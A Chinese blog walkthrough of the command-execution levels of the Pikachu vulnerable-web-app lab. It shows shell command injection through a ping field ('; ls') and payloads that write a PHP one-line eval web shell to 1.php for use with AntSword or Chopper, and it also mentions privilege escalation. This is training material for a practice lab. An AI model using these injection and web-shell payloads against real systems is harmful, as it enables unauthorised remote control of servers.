RCE
RCE(remote command/code execute)远程命令/代码执行。
exec “ping”
Docker 安装 ping 命令工具
由于我们 docker 中并不能执行 ping 命令,所以我们需要安装 ping 命令的工具。
我们先进入 docker pikachu 的容器(注意需要 sudo)
1 | docker exec -it [容器ID] [/bin/bash] |
进去之后,就用 apt 工具进行安装
1 | apt install iputils-ping |
原理
和 SQL/XSS 注入一样,都可以堆输入框进行命令构造。SQL 构造的是 SQL 语句,XSS 一般构造 HTML 或者 JS,而 RCE 在这里构造 SHELL 命令。
在 Linux 中,ping 命令是一直执行的,所以上面应该是
1 | ping -c 4 [addr] |
我们的输入就是 addr,这也是我们构造的地方。如果我们想查看当前目录的文件,就构造成了
1 | ping -c 4 www.baidu.com ; ls |
这里的分号是 Linux Shell 中的元字符,用于执行多条命令,几十前面的代码错了也可以执行。所以我们只需要输入 www.baidu.com ; ls
OK,我们就可以执行其他命令。
一句话木马
php 的一句话木马
1 |
|
- @:后面代码错误也不报错
- eval 执行括号内的命令(php 代码)
- $_POST 通过 POST 获取数据
$_POST[‘123’] 用于获取 123 的
构造成
1 | ping -c 4 www.baidu.com ; echo '<?php @eval($_POST['123']); ?>' > 1.php |
我们 ls 一下,多了一个 1.php,我们就可以利用这个去提权或者怎么样了。
利用菜刀或者蚁剑工具去利用
目录查看
shell 命令执行
源码分析
用 shell_exec 来执行 ping 命令的。
1 | if(isset($_POST['submit']) && $_POST['ipaddress']!=null){ |
exec “eval”
eval可以执行 php 的一些代码。
我们先看看这题,我们输一下 php 代码
1 | phpinfo(); |
方法一
1 | system("echo '<?php @eval(\$_POST[\"123\"]); ?>' > 1.php"); |
我们可以去 ping 那里看我们创建 1.php
然后同样的去蚁剑去利用。
方法二
我们这一关本身就有 eval 命令,我们就可以利用这点
我们看到 POST 请求,name 有 txt 和 submit,我们的 txt 相当于 123,而 submit 我们就需要在蚁剑中设置。
步骤
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Mr.Virus's Blog!











